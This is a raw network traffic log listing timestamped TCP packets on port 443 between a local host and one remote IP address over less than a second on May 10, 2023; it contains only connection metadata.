May 10, 2023 02:21:17.636017084 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.636029005 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636050940 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.636497021 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636528969 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636559963 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.636571884 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636589050 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.636761904 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636800051 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636815071 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.636827946 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636852026 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.636953115 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.636986971 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637003899 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637016058 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637037992 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637121916 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637161016 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637170076 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637181997 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637212038 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637348890 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637381077 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637409925 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637422085 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637439966 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637600899 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637641907 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637660980 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637674093 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637690067 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637855053 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637888908 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637903929 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.637916088 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.637936115 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.650852919 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.650897026 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.650948048 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.650973082 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.650991917 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.653697968 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.653757095 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.653776884 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.653795958 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.653814077 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.658170938 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.658237934 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.658240080 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.658260107 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.658287048 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.659040928 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.659106970 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.659117937 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.659133911 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.659163952 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.659368992 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.659426928 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.659445047 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.659462929 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.659507036 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.660072088 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660132885 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660145998 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.660161018 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660197973 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.660408020 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660468102 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.660470009 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660492897 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660531044 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.660728931 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660784006 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660803080 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.660818100 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.660846949 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.661078930 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661145926 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661145926 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.661165953 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661231995 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.661408901 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661468029 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661509037 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.661523104 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661542892 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.661845922 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661900043 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.661914110 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661931992 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.661981106 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.662110090 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.662208080 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.662260056 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.662276030 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.662288904 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.662317991 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.663598061 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.676045895 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.676131964 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.676172972 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.676203966 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.676232100 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.678596973 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.678684950 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.678728104 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.678750992 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.678771973 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.682049036 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.682111979 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.682215929 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.682215929 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.682245970 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.684542894 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.684612989 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.684649944 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.684674978 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.684696913 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.684941053 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.684999943 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.685003042 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.685022116 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.685055971 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.685359001 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.685429096 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.685431957 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.685447931 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.685492992 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.686007977 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686074972 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686110973 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.686126947 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686145067 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.686388969 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686450005 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686459064 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.686479092 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686513901 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.686768055 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686826944 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686829090 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.686850071 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.686886072 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.687131882 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.687191010 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.687212944 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.687228918 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.687246084 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.687539101 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.687604904 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.687612057 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.687628984 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.687675953 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.697680950 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.697746038 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.697813988 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.697840929 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.697860956 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.699018002 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.699090004 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.699101925 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.699119091 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.699160099 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.704303980 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.704370022 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.704392910 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.704416990 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.704437017 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.705218077 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.705281019 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.705284119 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.705305099 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.705343962 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.708023071 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.708080053 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.708116055 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.708134890 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.708152056 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.708935022 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.709990025 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710051060 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710071087 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.710083961 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710119009 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.710406065 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710464001 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.710469961 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710489988 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710534096 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.710820913 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710882902 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710889101 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.710901976 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.710937023 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.711236954 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.711298943 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.711304903 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.711319923 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.711358070 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.711633921 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.711693048 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.711702108 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.711719990 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.711741924 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.712065935 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.712135077 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.712358952 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.712358952 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.712382078 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.712508917 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.712568045 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.712580919 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.712595940 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.712624073 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.721663952 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.721731901 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.721733093 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.721751928 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.721801996 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.724978924 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.725040913 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.725064039 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.725083113 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.725104094 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.727644920 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.727715969 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.727747917 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.727763891 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.727783918 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.731045008 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.731106997 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.731132030 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.731147051 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.731173992 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.731479883 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.731539965 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.731544971 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.731566906 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.731606007 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.735419035 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.735481024 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.735488892 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.735507011 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.735551119 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.735841990 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.735898018 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.735909939 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.735923052 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.735943079 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.735966921 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.736262083 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.736320019 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.736327887 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.736341000 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.736371994 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.736682892 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.736745119 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.736746073 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.736763954 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.736803055 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.737097025 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.737153053 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.737164974 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.737178087 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.737207890 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.737550974 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.737612963 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.737627983 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.737642050 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.737677097 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.742383957 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.742444992 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.742470980 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.742494106 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.742513895 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.744570971 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.744635105 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.744640112 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.744656086 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.744702101 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.748888969 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.748955011 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.748995066 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.749020100 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.749047995 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.753818989 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.753906965 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.753941059 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.753958941 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.753981113 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.754194975 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.754250050 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.754256010 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.754271984 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.754312038 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.763216019 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.763278961 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.763324976 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.763348103 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.763365984 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.763664007 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.763729095 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.763735056 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.763755083 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.763792038 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.764070988 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764146090 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764147043 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.764164925 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764198065 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.764491081 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764553070 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764556885 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.764573097 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764611006 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.764909029 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764965057 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.764981985 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.764995098 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.765019894 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.765331030 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.765393019 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.765397072 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.765410900 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.765450001 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.765764952 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.765816927 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.765840054 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.765852928 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.765877962 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.767038107 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.767100096 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.767121077 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.767141104 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.767168045 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.767945051 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.768004894 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.768039942 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.768058062 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.768076897 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.772803068 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.772862911 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.772876024 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.772891998 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:17.772918940 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:17.777014971 CEST	443	49703	116.203.249.172	192.168.2.3
